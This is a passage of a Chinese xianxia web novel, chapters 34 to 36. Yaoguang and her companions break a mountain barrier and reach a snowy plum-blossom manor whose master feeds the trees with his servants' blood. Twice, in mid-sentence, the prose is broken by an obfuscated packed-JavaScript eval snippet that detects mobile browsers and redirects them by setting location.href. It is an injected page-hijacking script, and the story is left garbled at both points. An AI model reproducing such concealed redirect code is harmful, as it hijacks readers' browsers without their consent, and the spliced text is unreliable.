“哎这......”那名侍卫一脸苦恼地挠着头。 绿梨也不愿为难他们,道:“那你把瑶光喊出,我直接给她便好。” “那......行吧,小的我这就把瑶光恩人叫来亲自取。” 她看着那侍卫跑去将瑶光喊出,一向喜爱鹅黄色衣裙的瑶光,此时已换上了淡雅的素色直裾。瑶光不施粉黛,向她走来的每一步,就像她院里盛开的海棠,内敛的盛开着。 绿梨稳步上前,将食案交予瑶光,目光炯炯地看着她,道:“瑶光,此乃王妃吩咐我所熬煮的补汤,你一定要喝到底再启程。”她将“底”字咬的很重,生怕瑶光听不见。 瑶光将食案取过,了然地点了点头。随后,在一众侍卫的监视下,她淡定地走进屋内关上门,放食案在桌上,从汤盅底下翻出一张折起的纸条。 纸条虽是有些炭灰沾染在上,有些脏兮兮的,但上面的字迹却清晰可见,笔力挺拔,字体工整,生怕阅读者看不清。 读罢,瑶光突感屋内闷热,故推开窗。她目视池中一朵含苞待放的荷花,指尖来回摩挲着手中纸条,眼神渐渐黯淡。 那纸上写着三个大字:危,勿去。 34. 漫山飘雪梅如故(一) 蝉鸣阵阵,初夏的微风带着丝丝燥热,吹得树叶沙沙作响,林间清凉敛了半数暑气。山间小径上,一辆奢华马车缓缓行进,车顶上的珍珠点缀不停摇曳,发出清脆的声音。 青稚端坐在马车里,摸了摸马车壁上光滑发亮的红木,感慨道:“幸好,那些侍卫见这马车靓丽,没有将它损坏,不然就可惜了。” 他挠了挠脑袋,继续道:“对了,徐妈妈说,那位念春兄弟为了报恩,早前出发去了东边一山上当短工去。好像叫什么,梅花庄。” “莲馆,梅花庄,人间还真爱用花卉来取名。”季昀之冷不防地点评。 正在驱车的季伶从车帘外探头进来,疑惑道:“但我已派遣鸦群四处搜索,此处人迹罕至,并无人烟,确定就在这里吗?” 青稚答道:“送念春兄弟的那位马夫确实是说将他放在此处山脚下便离开了,应该就在这里。” “其实,你们不必跟我前来,只是交予玉簪,唤他回去参加姽婳姑娘的葬礼罢了,无需如此大费周章。”瑶光左右而言乎。 是的,而瑶光还是决定去找吴念春。 即便知道是危险,带着对姽婳姑娘的歉疚,她又怎能任由吴念春于危险之中不管不顾呢?只是她原本不想让其他人陪她一同涉险,怎料在偷偷出门时被司幕公子看到,便最终变成了大家一同行动的局面。 司幕扬起嘴角:“难道找到他,瑶光姑娘你不打算继续前去上京?” 被他这么一问,瑶光一时语噎,竟无言以以对。 知她者莫若司幕公子,她确实是打算亲自去上京一趟,禀报官家宣阳王一事。 “在下也只是当作游山玩水罢了,真正大费周章的是另一人。”司幕公子说着,瞥了一眼躺在软榻上好不悠哉的季昀之,“还硬要带着马车来。” 季昀之因清早时被瑶光误会而心情不佳,闻言不悦地反驳道:“怎的,只许你游山玩水,不许我带着我的马车一同前来?” 司幕挑眉,反问道:“这是你的马车?” 季昀之理所当然地回道:“难不成是你的?” 两人之间火药味弥漫,气氛剑拔弩张,似乎随时便可一触即发。 瑶光看着两人你来我往的争执,心中不禁嘀咕:这便是传说中的“打是亲,骂是爱”吗? 突然间,一声巨响打破了山林的宁静,仿佛有什么东西从天而降。众人闻声纷纷冲出马车,定睛一看,地上竟躺着一只乌鸦。 如此高空坠落,寻常乌鸦早已粉身碎骨,然而这只乌鸦却毫发无伤,甚至诡异地振翅飞起,落在季伶的肩上,低声鸣叫着,似是与季伶低语。 季伶凝神倾听,眉头渐渐紧皱,说道:“前方似乎有一道结界,我的乌鸦无法进入。” “常闻富贵人家会请道长设下结界,以防外人干扰,护周边平安,想必这梅花庄就在结界内。”青稚言之凿凿。 瑶光也赞同地点了点头。 结界与阵法不同,阵法五花八门尤其讲究,若路过生门,则顺利略过阵法过阵;若误入死门,则无论有意还是无意,阵法激发,闯阵者必定生死难料。而结界无攻击性,仅起屏障作用,在人间通常为名门贵族所用,以守护家宅。 一行人牵着马车,跟随乌鸦的指引,来到山腰间的一棵巨大古树前。冒失的青稚急于探路,却像是撞到了什么无形的屏障,痛得捂着鼻子连连后退。 季伶见状,手一挥,一面泛着荧光的结界浮现在他们面前,“这就是那结界罢。” 望着眼前的结界,瑶光闭目凝思,双指交叉放在额间,霎时间指尖金光闪烁。只见她将指尖金光触及那结界,它竟像是碰到锐利尖石的琉璃一般,分崩离析,碎落一地。 结界一破,四周骤然寒冷刺骨,寒风呼啸,让穿着薄衣、灵力较弱的青稚不禁打颤。天空飘落无数细小白点,季昀之伸手一触,白点即刻融化,他皱眉道:“是雪。” 雪越来越大,纷纷扬扬。不多时,原本葱绿的山林便变得白雪皑皑,苍白死寂。 抹过鼻间不停流出的鼻涕,青稚抖擞道:“方才不还是四月天,怎么现在跟腊冬似的?” 司幕解释道:“我们现在在结界内,结界内外一般都有反差。” “反差可以理解,但为何会设下如此极端的结界?”说着,季昀之打了一个喷嚏。 瑶光看得直摇头,昀之仙君不愧是由夏日盛开的莲花所化,同样惧寒。 见众人受恶劣天气影响,她指向马车,“阿稚,季伶,你们先随昀之仙君和司幕公子进去避寒罢。我来驾车。” “好,师傅。”冻得瑟瑟发抖的青稚迫不及待地和季伶一同上了马车。 季昀之站立在侧,身板挺直,装作若无其事道:“区区雪天,本仙君不需避寒。” 这莲花不仅惧寒,还傲娇。瑶光看着他被冷风刮得泛红的双腮,笑道:“那你便进去帮我看住青稚吧,若他得了伤寒,我唯你是问。” “小小伤寒,有本仙君在,他定无恙。”季昀之话音刚落,已飘然飞身进了马车。 瑶光轻叹一声,额头轻触马额,闭目低声道:“出发吧。”然后,她轻拍马腰,马车应声而启。 趁马匹初行时步伐缓慢,瑶光翻身坐在马车前沿,而司幕则坐在了她身旁。 瑶光不解:“司幕公子为何不进去?” 司幕的声音从她侧面传来,声线清澈而柔和,语速平缓,温柔至极:“在下常年居住于盘地,鲜少见雪,如今难得一见如此景象,想好好欣赏一番。” 尽管他说得温柔真诚,但言语中仍错漏百出。若是长期居住于盘地,又岂会无畏严寒呢? 瑶光转头看向司幕,这才注意到他今日一改以往的红衣打扮,身着一袭玄蓝圆领长袍,未束发髻,墨发随风飘散,再加上雪景的衬托,更显风姿绰约,宛若画中之人,清贵华然。 她不禁问道:“司幕公子近日似乎常常换装?” 听到此言,司幕双眸微亮,故作不以为然道:“偶尔换换衣衫色彩也不错。” 路途中,马匹缓慢前行,生怕一不小心滑倒,坠入深山之中。山上积雪浓密,道路难以辨认,而且越往上行,路势愈加险峻,瑶光只能全神贯注地盯着前方路线。 司幕见她驱车已久,关切道:“要是您累了,让我来吧。” 瑶光依旧专注于前方,不敢有丝毫分神,道:“不用,我们马上就到了。” “您这样用灵识,如果疲倦过度,灵识混乱,马匹受惊,我们恐怕会提前见到阎王。” 明明只是玩笑话,怎知瑶光却极其认真地借着他的话问他:“这世上可真有阎王?” 司幕好整以暇地反问道:“瑶光姑娘可是想见阎王了?” 瑶光叹了口气:“都说阎王乃鬼族之首,不知阎王是否好相与?姽婳姑娘在黄泉之下是否能安详度日?” “这便是瑶光姑娘你宁愿用灵识驱车,也不愿使马鞭的原因?” 瑶光不语。 是的,马鞭会让她想起那抹血痕交错的水蓝色。 司幕淡淡道:“其实鬼族并无阎王。” “当真?” 瑶光的诧异在司幕的意料之外,他问:“怎么?不周山没有讲过关于鬼族的传记?” “从未有过。”一想到以前每次提及有关鬼族的故事时,玄霄总是表现出冰冷的态度,瑶光靠在马车旁,无奈道:“玄霄......也就是我的同伴,他好似特别讨厌鬼族,从不允许我了解关于鬼界的事。” 听到那令他厌恶的名字,司幕双眼眯起,脸色阴沉,却又马上恢复如常。他轻笑了两声,垂眸道:“其实,这世上并无阎王,都是凡间臆想出来的。”他顿了一下,又道:“但倒是有另外一个称呼。” 瑶光虚心请教:“是什么?” 司幕零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114820|147181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散的墨发散落在额前,眼中深邃难测。 他道:“鬼王。” 夜色渐浓,一轮明月高悬,为层层积雪披上了一层薄薄的轻纱。 “瑶光姑娘,瑶光姑娘......” 在司幕轻柔的呼唤下,瑶光慢慢睁开双眼,“梅花庄”三个字清晰地映入眼帘。她竟然在与司幕公子交谈时不知不觉地入睡了。 这梅花庄红墙绿瓦,大门漆黑,上端挂着一块烫金牌匾,对比周遭茫茫一片白,处处彰显华贵,神秘肃穆。 他们陆续下车,青稚为首轻轻敲响大门。不久,门便被打开了。 看到一行人尘土飞扬的样子,小厮好奇地问道:“你们找谁?” 青稚道:“小哥儿,请问吴念春在吗?” “呀,你们找念春哥哥啊。”小厮看起来毫无心机,爽快道:“在,他在,快快请进吧。” 小厮将门大开,热情地邀请他们进入梅花庄。 不愧是梅花庄,与莲馆打着莲花的幌子吸引外客不同,此地真如其名,遍地寒梅。瑶光眉头微蹙,这梅花似曾相识。 一踏进庄内,满目都是飞舞的雪花,银装素裹,唯有梅枝上的花朵一点红,与寒风抗衡,似乎世间只剩下这一抹色彩。 趁庄主不在,青稚好奇道:“你就这么邀请我们入庄,你们庄主不会生气吗?” “当然不会,我们庄主人可好了。” 他又问:“对你们也好吗?” “那当然!” “那他......” 青稚还想问,结果他还未说完,那小厮便冲他喊道:“你问这么多做什么,你要是伤害庄主,我管你是不是念春哥哥的旧识,对你就不客气了!” “小停,不许对客人无礼。” 不远处,红梅枝下,一高挑男子站在那处,他一身绯红,肩背笔直,不卑不亢。而在男子身后,正是他们一直在找寻的吴念春。 看到男子,小停立刻撇下瑶光他们,兴冲冲地快步跑过去,喊道:“庄主!” 而吴念春则走到瑶光他们面前,笑着问道:“瑶光姑娘,司幕公子,你们怎么来了?” 见到吴念春,瑶光不禁想起姽婳。她心中有些苦涩,但还是强撑笑意道:“念春,我们有事寻你。” 像是听到了心心念念的声音,不远处一屋内,一躺在床榻上披头散发的女子惊醒。她浑浊的双眸瞬间发亮,即使浑身无力摔落到地上,也要挣扎着在地上爬行。她从软榻爬到门边,瘦长的指节在门板上疯狂地抓挠,试图挠开紧闭的门。 她的声音嘶哑无比,仿佛是老者在低语,不停地说着:“师姐……我终于等到你回来了……” “师姐......我等得你好苦啊......” “师姐......” 瑶光敏锐地听到了微弱的声响,回头往身后的紧闭的屋门看去,却被梅花庄庄主不经意地挡住了视线,他一脸和善道:“外面天寒,姑娘还是先入内取暖罢。” 瑶光狐疑地蹙起眉头:“我刚刚似乎听到那屋里传出响声。 梅花庄庄主闻言,淡淡一笑,“定是我家娘子起了,我先安顿好你们再去看看她罢。” 瑶光的目光再次落在那紧闭的房门上,久久凝视。梅花庄庄主依然保持着那副笑容可掬的模样,伸手挥向那屋的反方向,做了一个请的手势:“请。” 她沉思片刻,直到听到青稚在那不远处的催促,这才收回目光,与他们一起往内室走去。 随着他们逐渐远离,那位披头散发的女子终于按捺不住,想要奋力捶门留住瑶光,却在下一刻被身后突然冒出的数根梅花枝干绑住。一根枝干更是环过她的嘴,让她只能发出呜呜的哀鸣。 “呜!呜!!呜!!!” 她被梅花枝干强迫按回床榻上,血色的泪水浸湿了床褥,无论她如何挣扎,如何呐喊,都无法挣脱。 35. 漫山飘雪梅如故(二) 随着梅旭带路,瑶光一行人踏入了梅花庄中间一处雅致的厅堂。透过窗棂望向窗外,只见漫天飞雪,银装素裹,将梅花庄映衬得宛若仙境。在这与世隔绝的山庄里赏梅,倒也别有一番风味。 梅旭笑容可掬地端坐在主位上,率先邀请道:“各位请坐。”见众人纷纷落座,他又道:“听小停说,你们是念春的旧友?” 瑶光微微颔首:“正是,在下瑶光,其他人是与我随行的。” 其他人或沉思,或四处张望,唯有季昀之目不转睛地看着小停摆上的茶具,若有所思。 “在下梅旭,是这梅花庄的庄主。”梅旭说着,正准备洗茶,留意到了季昀之的目光,便将第一杯泡好的茶递给季昀之,笑道:“这位公子对茶应当也颇有研究罢。” 季昀之接过茶盏,远远地闻了一口,突然眼前一亮,赞叹道:“果然是好茶!方才远远闻时便觉得很是特别,如今近闻更是有股梅花香。这是什么茶?” 梅旭欣然答道:“此乃我梅花庄独有之‘血梅茶’,茶叶在山庄后院培育,那处环境凛冽,茶叶呈粗短偏厚,自初尝时偏苦涩,后再以梅花花蜜融于茶中,方得回味却甘甜悠长。” 季昀之点头道:“这般好的茶,难得一品。” 梅旭笑道:“那公子今日可是有口福了,请。” 季昀之沉默了一会,还未等他品这杯茶,他便听到青稚惊呼一声,手指着一旁庭院中最大的一棵梅花树,语气中透着几分疑惑,道:“咦?这梅花怎么突然谢了?!” 梅旭闻言,侧过头轻声询问:“小停,今日可是轮到你了?” 小停两眼一转,思考了片刻,应道:“是。” 梅旭不慌不忙地将桌旁一小壶置于火上,随着水汽氤氲升腾,浓浓的药香在屋内弥漫开来,令人心绪平静。待水沸腾后,他这才起身缓步走到那棵梅树前,小停紧随其后。 季伶闻着那药香,不禁皱起了眉头,沉吟道:“生姜、生地、熟地当归、川芎、龙眼肉、枸杞、红枣、及些许乌鸡味,都是些带补血疗效的药材。” 不远处的梅花树下,一红一灰的身影伫立着,形成鲜明的对比。寒冬的日光像是在梅旭侧脸上镀了一层薄薄的清冷的光晕,他从怀中取出一泛着寒光的小刀,而小停则熟练地从他手中接过刀,将手放于稍低的一梅枝上,毫不犹豫地在手心划出一道口子,鲜血顿时流淌而出,一点一点地染红了那枝干,如同盛开的梅花般鲜艳夺目。 “他流血了!”青稚目瞪口呆,难以置信地看着眼前这一幕,连忙起身上前想要阻止,却被瑶光按住肩。 瑶光神色沉静,目光紧紧地盯着小停手心的伤口,沉声道:“先静观其变。” 青稚看了看瑶光,再看看身后不为所动的众人,抿了抿嘴,终是坐下了。 殷红的血液一滴一滴地落在已干枯掉的梅枝上,仿佛是养分一般被这梅树贪婪地吸收着,融入了梅枝之中。原本奄奄一息的花朵竟奇迹般地渐渐焕发出新的生机,再次绽放,如血般鲜红,煞是好看。 “以血养花,梅庄主这培育之法倒是别具一格。”季昀之幽幽开口,带着一丝探询之意。 梅旭笑而不语,一步一步走回原处就坐。 小壶发出尖锐的沸腾声,热气徐徐升腾。梅庄主将小壶取下,盖上炉,将壶里的药尽数倒在一碗上。随即,他朝小停招手,唤道:“小停,过来,我给你包扎伤处。” 小停一如既往乖巧地走到梅旭身边,而梅旭则极其认真的帮他将手包扎好,接着他又递过药碗,道:“将药喝下,补一补,晚些便没那么难受。” 就在此时,梅旭突然感到一阵耳鸣,连忙捂住耳朵,眉头紧皱,低声呻吟,神情间流露出痛苦之色。 一旁正喝药的小停立马放下药碗,起身扶住他,紧张地问道:“庄主,可是旧疾又犯了?” 稍微缓过来些的梅旭点了点头。 “这不是已经好几年没有被复发了吗?”见梅旭的脸色愈来愈苍白,小停忙说:“庄主,要不你先回屋里休息罢?” “好,那梅某先行回屋休息了。”梅旭虚弱地向众人俯过身,随后便在小停的搀扶下先离开了。 见他们走远,青稚开口道:“梅庄主真是有意思,先让人割血,再给他包扎饮补药,这跟在养食物似的。” “我最初也觉得匪夷所思,但是了解梅庄主爱梅之心后,倒也释怀了。”吴念春一脸憨厚地帮梅庄主辩解,“梅庄主素来钟情梅花,好不容易从一位道长处求得此法,并非有意伤害他人。” 他说着,像是要证明梅庄主对他们无害似的,起身蹦蹦跳跳了两下,并亮出手心刚结痂的刀疤,对瑶光他们说道:“我也是前几日才供过血,如今不也活蹦乱跳的吗?” 瑶光听后不禁皱眉:“前几日,这割血养花如此频繁?” 吴念春:“约莫每日一次。” 瑶光问:“每日一次?难道你们这还有其他人?” “约莫还有二三十个。” 一旁倾听的青稚讶异道:“二三十个?!这里天寒地冻,与世隔绝,其他人莫不是被拐来的吧?” “怎会。”吴念春解释道:“梅庄主每月便到附近游历,日行一善,大家都是为了报恩而来。” 瑶光的目光落在渐离渐远的梅庄主身上,心中思绪万千。梅花素来傲立雪中,坚韧不屈,乃花中傲骨,如此一位爱梅之人,应该不会心怀歹意吧? 吴念春面色红润,精神气爽,丝毫没有身处危险中的感觉。这小停也天真烂漫,对梅花庄似乎并没有太多怨言。如若按吴念春所说,他是个大善人,难道只是绿梨忧心过虑了? 想起梅庄主刚刚疼痛难忍的模样,瑶光朝吴念春问道:“这梅庄主身患何疾?” “我也不清楚,我只来了这儿几日,之前也不见庄主这般被病痛折磨。”说着,吴念春像是想起了什么,继续道:“不过倒是有听小停说过,几年前庄主也试过这般旧疾发作,不过后来好了。” “好了?”瑶光继续问道:“你可知是几年前?” 吴念春一脸懊恼地挠了挠头,说:“小停有说过,但是我那时心里想着快点回去见姽婳没听进去。” 瑶光安慰道:“也不打紧。” “对了,瑶光姑娘,你们远道而来找我,可是有什么事?”吴念春终于还是忍不住开口问道。 瑶光闻言,深吸一口气,缓缓取出怀中发簪,声音沉重地说道:“过几日便是姽婳姑娘的头七,我们这是来唤你回去的。这是姽婳姑娘的遗物,我将它转交给你,你可要收好。” “头七?!” 吴念春如遭雷击,整个人仿佛被抽空了一般,呆呆地看着瑶光手中的发簪,泪水瞬间夺眶而出,难以置信地嘶吼道:“我离开时婳儿还好好的!你们一定在骗我!!!!” 瑶光看着吴念春痛苦的模样,心中犹如针扎般难受,却只能无力地重复道:“对不起……对不起……” “说对不起有什么用!你们为什么没能保护好她!!她说你和司幕公子都很厉害,不需要我担心,我这才放心离开!你们怎么没能保护好她!”吴念春怒吼着,突然间冲上前想抓住瑶光的衣领,却被司幕一把抓住手腕,顿时发出一声脆响。 众人都将瑶光护在身后,青稚痛心疾首道:“我们亦对姽婳姑娘的事感痛惜,但这非瑶光之过。” 瑶光拉住司幕的衣摆,淡淡道:“放开他罢。”说着,她走到捂手痛呼的吴念春身前,在众目睽睽之下,她手高举和田玉发簪,砰然跪地。 她说:“是我没有保护好她,对不起。” 伤心欲绝的吴念春看着那发簪觉得很是刺眼,心中的怒火渐渐平息,转而涌起无尽的悲痛。他别过头,不再说话,良久,方发沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125874|147181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哑的声音:“我将向庄主请辞,今后不愿再见到你们! 话音一落,他猛地夺过发簪,疾步离开。走到一半,他骤然停下,头也不回地问道:“她,可找到了她姐姐?” 瑶光并不知,但依然答道:“有。” “那便好。”吴念春喃喃自语,仿佛卸下了沉重的包袱,“她心愿已了,倒也好。” 渐渐地,吴念春消失在一片雪白之中,唯有瑶光仍跪在原地,一动不动。 * “就到这吧,夫人不喜见人,我自行进去便好。” “好,庄主请好生休息。” 身后门一关上,梅旭神态便变了,脸色阴沉如霾,身上毫无不适之态,反而步履轻盈。他快步走到榻前,焦急地询问床上之人:“娘子!你怎么了?!” 床上之人不回答,唯有不断痛吟。 “你这几年都慢慢恢复正常了,只要定期吸血,便不会再病发。怎么今日又发作了?可是有什么刺激到你了?!”梅旭想起今天唯一出现的新鲜事物只有瑶光一行人,语气变得凶狠起来,“是不是他们?!我要杀了他们!” “不!你不可以伤害师姐!”杏桃挣扎着喊道。 梅旭闻言,脸色一变:“师姐?她就是你等了几百年的师姐?!” “是,我终于等到她了。”杏桃看着自身脉络与梅枝紧密相连,双手满目苍夷,慌乱间将梅枝拨开,急声道:“阿旭!我不要再吸血了!我不欲她见我如此!” 梅旭连忙将杏桃的双手按住,安抚她道:“娘子!不行!那人说,你要吸血才能活着!” 接着他又说:“你的师姐在你们遭受魔族灭门之时,她在哪里?!当你们全力抗击魔族之时,作为最强大的修仙者的她又在哪里?!是她引诱你打开传送阵,入了魔族的陷阱,你现在这样的状况也是她所致!她不值得你这样!” 杏桃的内心仿佛被击碎,像疯子一样狂乱挣扎:“我不信!我不信!我要等师姐回来!” “可她回来了吗?!你等了整整五百年了!娘子你看看你自己现在变成什么样!”梅旭取过桌上的青铜镜,放在杏桃面前,情深款款道:“娘子,只有我无条件是爱你的。” 杏桃一看,镜子里浮现出一个人不人鬼不鬼的女子。她看起来十分消瘦,瘦骨嶙峋,面容恐怖骇人,还长着一双死鱼眼,深深的眼窝里有鲜血如泪水般流下。随着她越看,像山脉般崎岖的脸庞渐渐变形起来,露出参差不齐的利齿。 她吓得将铜镜一把甩开,冲进梅旭怀里,尖叫道:“啊!!!有鬼!!!阿旭!!救救我!!!!” 镜子跌落在地上,碎裂一地,发出尖锐的响声。 碎片里映出梅旭俊秀的侧脸,他正轻轻地抚摸着怀中少女的细发,沉声道:“娘子,别怕。我会救你的。” 屋内气氛还未完全缓和,梅旭突然警觉地坐起身,眼中闪过一丝阴霾,猛地朝屋外望去,眸光一凝,高声喊道:“谁在那里?!” 门外传来吴念春沙哑的声音:“是我,庄主。” 梅旭的声音恢复如常,柔声问道:“什么事?” 冷风刺骨,如同一把利刃划过吴念春的心,让他感到锥心刺骨的寒意。他咬紧牙关,压抑住心中的悲痛,看着紧闭的房门,说道:“庄主,我需要请辞了。” “怎么就请辞了?”梅旭问道。 “家中出事了,需要我马上回去。” “那你的朋友们呢?”梅旭追问道。 吴念春沉默了片刻,然后缓缓说道:“他们和我无关。” “那他们可知你要走了?” “知。” 梅旭的声音柔和中带着一丝不易察觉的怪异,他说:“好,你在这山庄里也有好几日了,先进来罢,银钱我去拿给你。” 吴念春没有多想,缓缓推开门,走进了一片黑暗之中。 36. 漫山飘雪梅如故(三) 梅花庄的厅堂内,昏暗的光线透过雕花窗棂投射进来,为原本幽静的氛围更添了几分诡谲。瑶光跪在地上,双膝麻木,却依然脊背挺直,眼神坚毅,如同磐石般岿然不动。她心中思绪翻涌,久久不能平静。 青稚见状,上前欲扶起她,语重心长地劝道:“师傅,咱们还是走吧,该说的也都说了,该给的也给了。” 瑶光摇了摇头,目光中透着坚决:“不,我们不能就这么一走了之。” 青稚有些不解:“师傅,吴念春不会回来了。他说了不愿再见到咱们,你没听到吗?” 瑶光依旧不为所动。 见她如此,一旁的季昀之眉头紧锁,提醒道:“方才我闻那茶,梅花香中竟带些淡淡的腐肉味,此地恐怕不简单。” 腐肉?季昀之的话如惊雷般炸响在青稚耳畔,令他不寒而栗。 闻言,瑶光更加坚定地说:“那我们更不能就此离开。念春还有其他人还在这,断不能置他们于危险而不理之。”看来,绿梨的担忧并非空穴来风,这里确实是不祥之地。 “置人于险境而不顾,确实非君子所为。”司幕缓缓开口,继而又道:“但也要量力而为,你才刚受完天罚,虽无外伤,但灵力定已被损耗不少。醒来后又连续赶路数日,还是先休息罢。” 说罢,他便俯身,将瑶光横抱起来。瑶光突感天旋地转,她惊呼:“司幕公子!” “今日便在马车上露宿一宿罢。”季昀之瞥了司幕一眼,然后朝季伶吩咐道:“季伶,操控鸦群在梅花庄各处监视。注意,切勿被发现。” “是。”季伶点头应下。 “我们如此显眼,那梅庄主早有警觉,应不愿让我们在附近长留。”青稚担忧道。 司幕高深莫测道:“就怕他更不愿我们就此离开。” 话音刚落,小停风尘仆仆地跑来,气喘吁吁地说道:“客人们,庄主说此时外面夜色已深,不宜下山,你们还是在庄里住一宿罢。” 众人面面相觑,说曹操曹操到。 夜深人静,瑶光在榻上辗转反侧,难以入眠。窗外,寒风呼啸,冷风拍打着窗户,吵得她心绪乱如麻。她便起身走到窗边,想要借着月光平复一下心中的烦躁。 窗扉半掩间,月光如水洒落在梅园里,映照着皑皑白雪,更添了几分清冷。瑶光不经意地远眺,却见雪地里站着一个身影,静静地注视着她的居室。那是一个少女,身着桃红色裘衣,长发披散,小巧的鼻子已被冻得通红,圆圆的脸颊藏在领上的狐狸毛里,显得娇俏可爱。 迷糊中,瑶光一眼就认出了她,只因她曾出现过在她梦中。她鬼使神差地喊了一声,“杏桃?” 少女的身形一颤,像是被吓到了,她慌忙转过身,却见她双手血迹斑斑,正胡乱地抓着自己的头发,嘴里喃喃道:“不是……不是我......不是杏桃……” 她受伤了?瑶光的心莫名一下子揪紧了,她冲出屋门,却发现少女早已消失不见,只剩下空旷的雪地和呼啸的风声。 “瑶光姑娘,你怎么不睡了?” 突然,上方传来响声,瑶光抬头看去,原来是司幕正环臂倚靠在梅树上,居高临下地看着她。 他又在树上睡了。 “风声太大,吵得睡不着。”瑶光收回目光,心中却依然难以平静。她想起刚才的少女,便问道:“司幕公子,你刚才可曾见过一少女在这院中?” 司幕摇摇头,答道:“未曾见过。” 瑶光哑然失笑,梦里的人可是修仙之人,又怎会在这儿荒郊野岭出现呢?她道:“明日再问季伶,他的鸦群定会察觉到些异常。” “此处并无鸦群,它们已被我劝睡下了,在下入睡时不喜有声响。”说着,司幕看向对面的屋檐,瑶光顺着他的目光望去,只见几只乌鸦口吐白沫地晕死在那。 他继而又温声问道:“方才在下听你说一人名,她可是你的亲人?” “并非亲人,只是......只是在梦里出现过的人罢了。” “梦?” 还不等他深思,瑶光已一跃而上,如蝴蝶般轻盈地落在他身旁,散发着幽香的秀发在他身侧拂过,让他心神一荡。 树之高,能使他们越过高高的围墙,眺望远方。一轮明月高高挂起,映得莽莽苍苍的深山里清辉一片,唯有面前点点红。阵阵寒风吹来,树上的红梅随风而起,如无数蝴蝶在空中翩然起舞,瑶光被天地瑰丽震撼,顿时心都化了。她感叹道:“早就想到树上一坐,看看司幕公子夜里的世界了,果真美。” 瑶光伸出手,抓住一朵梅花,在手中揉捏。她说:“最近几年我时常入梦,时而梦里会有一白发男孩,时而梦里又有一墨发男子。而那少女,是我最近梦到的,在梦里她叫杏桃,她说我是她师姐。” 她说得入神,丝毫没有注意到一旁司幕落在她身上目光,她继续道:“在那梦里,我仿佛是一修仙观座下的弟子,因受了天罚,伤重而醒。这点倒是也与我最近处境极像。” 司幕垂眸道:“只是梦罢了。” 瑶光侧过身,神情认真,月光镀亮了她精致的侧颜。她说:“但那种感觉,就像是真的发生过一样,很真实。” “许是你最近太过劳累才如此罢。” “说的也是。”瑶光像是想到了什么有趣的事情,笑了笑道:“梦里,那杏桃还说我有一夫婿,我还曾因闭关过久,担心他寂寞而提早偷偷下山,这真是匪夷所思。” “为何匪夷所思?男女情爱,人之常情。” “说的也对,爱可至死不渝,这些小打小闹不过是情趣罢了。” “在下好奇,到底有谁能入瑶光姑娘的眼?”司幕眸光幽幽,声音有些沉闷。 瑶光望向司幕,“若是像公子这般的人,我应当执着到至死不渝罢。” ……阿迟,我对你,至死不渝。 像是看到了脑海中熟悉的那人,司幕顿时愣住,仿佛忘记了呼吸。可下一秒,瑶光却将食指往他额前一按,笑靥如花,“骗你的,神灵化神需心无牵挂,无欲无求,情爱于我,怕是形同陌路。” 瑶光欲将手收回,怎料司幕则抓住她的手,目光盈盈地凝望着她。他无暇的脸此时好似带着淡淡血晕的美玉,使得瑶光心中一软,看着他移不开眼。 “师傅,司幕神医,你们这么晚了为什么还不睡觉?” 树下传来青稚的抱怨声,他们竟太过于专注,没有察觉到青稚的靠近。瑶光慌忙将手抽回,朝青稚唤道:“这上面风景好,你要不也上来看看?” “真的吗?”说着,青稚好奇地爬上树,蹲坐在瑶光身旁。 须臾,他吸了吸鼻涕道:“还行,就是有点冷。”风景不错是不错,但为何一上来他便感觉背后冷风飕飕似的直吹向他,让他连连打喷嚏,不断抖擞。 “阿啾!” 清晨的梅花庄处处鸟语花香,青稚揉着惺忪的睡眼,措不及防地打了个喷嚏。一旁的季伶贴心地递过帕巾,“昨夜你与瑶光大人在外赏景,怕是受了寒气罢。” 他们一行人正沿着青石小路,向昨日的厅堂走去。青稚睡意全无,揉着鼻子抱怨道:“哪里是昨夜,那可是今日凌晨,冷死了,真不知道他们怎么选在那处赏景,也不怕冻着。” 瑶光莞尔一笑:“是你灵力太弱,抵御不住寒气罢了。” 青稚一时无言以对。 “就算灵力再怎么强,此地也不宜风花雪月。”季昀之冷冷地说道:“且你们可曾注意到,自昨日起,那梅庄主便再也没有出现过?” 小停这时正巧朝他们走来,催他们去用早膳。青稚连忙快步上前,向迎面走来的小停问道:“小停,你们庄主呢?” 小停似乎对青稚直呼其名有些不满,别扭地回道:“庄主正在服侍夫人起身,稍后便会过来用膳。” “你们庄主竟然还有夫人?”青稚惊讶地瞪大了眼睛,这等怪癖之人,竟 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那少女不知为何像是被吓到了一般,身子微微地颤抖,梅旭见状,轻轻拍了拍她的背,柔声安抚道:“瑶光姑娘怎么会知晓我娘子的名讳?可是相识?” “我从未见过贵夫人,只是她曾在我梦中出现过。”瑶光如实答道。 梅旭笑了:“梦中?可真有意思。” 瑶光又问:“夫人可是一座叫蓬莱观的修仙观座下弟子?” “瑶光姑娘,你看我娘子这弱不禁风的模样,哪里像是修仙者?”梅旭微笑着将杏桃搀扶到主位坐下,再自行落座。 既然梅庄主这么说了,瑶光陪笑道:“无意冒犯。” “无碍。大家怎么还不动筷,无需拘谨,都开始就餐罢。”说着,梅旭便盛起一碗粥放在杏桃面前,杏桃不为所动。倒是之后,梅旭细声软气地哄她吃食,她才动口,一口一口地吃的极慢。 见到杏桃如同孩童般被梅旭哄着吃食,瑶光轻描淡写道:“庄主你与你夫人真是恩爱。” 